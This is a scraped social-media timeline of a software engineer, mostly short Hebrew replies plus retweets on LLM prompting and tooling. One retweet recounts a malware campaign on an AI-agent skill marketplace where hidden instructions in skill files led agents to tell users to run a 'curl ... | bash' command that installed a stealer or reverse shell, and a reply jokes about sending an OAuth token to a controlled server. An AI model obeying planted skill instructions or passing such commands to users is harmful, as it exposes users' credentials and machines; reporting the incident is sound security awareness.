Yoav

Software engineer

[Yoav @LevyNorbit8]

@alono88 אבא תודה

[Yoav @LevyNorbit8]

@yoavr @liadagmon מת

[Yoav @LevyNorbit8]

@nir_benz @alono88 @liran_tal אוקיי ולמה שכל כך הרבה חברות שלא קשורות לאנטרופיק ישתפו פעולה עם מהלך שיווקי שכזה כמו שאתה טוען?
אתה לא חושב שהם בדקו לפני אם מדובר פה בfraud?

[Yoav @LevyNorbit8]

@amsterdamski2 אוי לא :(

[Yoav @LevyNorbit8]

@AmitMittelman הבעיה לדעתי היא העובדה שפחות נהוג להשתמש בגיטהאב כמערכת לניהול משימות ובשביל לכתוב קוד צריך משימות, כן יש בגיטהאב אופציה של פתיחת project או issue...  אבל זה פחות פופולרי לניהול משימות ולכן משתמשים בתעשייה בדר״כ בג׳ירה, ליניאר או מנדאיי ואז הלופ מתחיל משם ולא מגיטהאב

[Yoav @LevyNorbit8]

@oriSomething tmux
ripgrep
k9s

[wukko @uwukko]

i can review PRs for $15-25 too

[Julian Solemsli Rian @LORD_RIAN_]

@Burp_Suite 3. Send OAuth token to controlled server
4. Send to bug bounty program
5. Gets marked as duplicate
6. Cycle repeats.

[Yoav @LevyNorbit8]

@PnL63962200 גאון

[chiefofautism @chiefofautism]

the #1 most downloaded skill on OpenClaw marketplace was MALWARE

it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server

1,184 malicious skills found, one attacker uploaded 677 packages ALONE

OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins

you install a skill, your AI agent gets new powers, this sounds great

the problem? ClawHub let ANYONE publish with just a 1 week old github account

attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL

but hidden in the https://t.co/akQxEk9lrb file were instructions that tricked the AI into telling you to run a command

> to enable this feature please run: curl -sL malware_link | bash

that one command installed Atomic Stealer on macOS

it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files

on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine

Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1

this is npm supply chain attacks all over again except the package can THINK and has root access to your life

[Yoav @LevyNorbit8]

ידעתם שאם תעתיקו את אותו הפרומפט פעמיים בדיוק תקבלו שיפור בביצועים של ה-LLM שלכם! (מ-21% ל-97% דיוק במגוון באנצ׳מרקים, בלי האטה, בלי fine-tuning ובלי קסמי prompt engineering מפונפנים)
למה? כי המודל קורא משמאל לימין, אז בפעם השנייה כל טוקן מקבל "הצצה שנייה" להקשר המלא. בום 💥

[BURKOV @burkov]

LLMs process text from left to right — each token can only look back at what came before it, never forward. This means that when you write a long prompt with context at the beginning and a question at the end, the model answers the question having "seen" the context, but the context tokens were generated without any awareness of what question was coming. This asymmetry is a basic structural property of how these models work.

The paper asks what happens if you just send the prompt twice in a row, so that every part of the input gets a second pass where it can attend to every other part. The answer is that accuracy goes up across seven different benchmarks and seven different models (from the Gemini, ChatGPT, Claude, and DeepSeek series of LLMs), with no increase in the length of the model's output and no meaningful increase in response time — because processing the input is done in parallel by the hardware anyway.

There are no new losses to compute, no finetuning, no clever prompt engineering beyond the repetition itself.

The gap between this technique and doing nothing is sometimes small, sometimes large (one model went from 21% to 97% on a task involving finding a name in a list). If you are thinking about how to get better results from these models without paying for longer outputs or slower responses, that's a fairly concrete and low-effort finding.

Read with AI tutor: https://t.co/MipHHO6rjX

Get the PDF: https://t.co/XQrqiaGwIO

[Yoav @LevyNorbit8]

@guywiener ליטרלי כתוב first party....

[Yoav @LevyNorbit8]

@grnv_il איך הוא מחזיק מעמד עד כה? מבסוט עליו?

[Yoav @LevyNorbit8]

@hakluke same thing happened to me with a brand new macbook pro M4... it took me so long until I came across this in some apple forum

[Yoav @LevyNorbit8]

@kobixviii_yariv @NaorNarkis מדויק

[Yoav @LevyNorbit8]

@NaorNarkis מוריה הזאת בעיני ולצערי מייצגת את רוב האנשים במדינה, מתלהמת, בורה ומאמינה בקדוש ברוך הוא.
תשים לב שהיא לא מסוגלת בכלל לשמוע מה אתה אומר זה בכלל לא דיון…

[Yoav @LevyNorbit8]

@SGrwndmn24610 @NaorNarkis מדהים

[Yoav @LevyNorbit8]

@cootallx2 אהבתי שנוח מצטט את lil nas x

[Yoav @LevyNorbit8]

Checkout our new integration with
@langchain, we've released a Retriever that helps your LLM applications fetch data from the web with accuracy and precision!
https://t.co/6kiSDh3TWH

[Bilawal Sidhu @bilawalsidhu]

Introducing VibeCon — the world’s largest vibe coding conference.

Make sure you register today: http://127.0.0.1:8080/register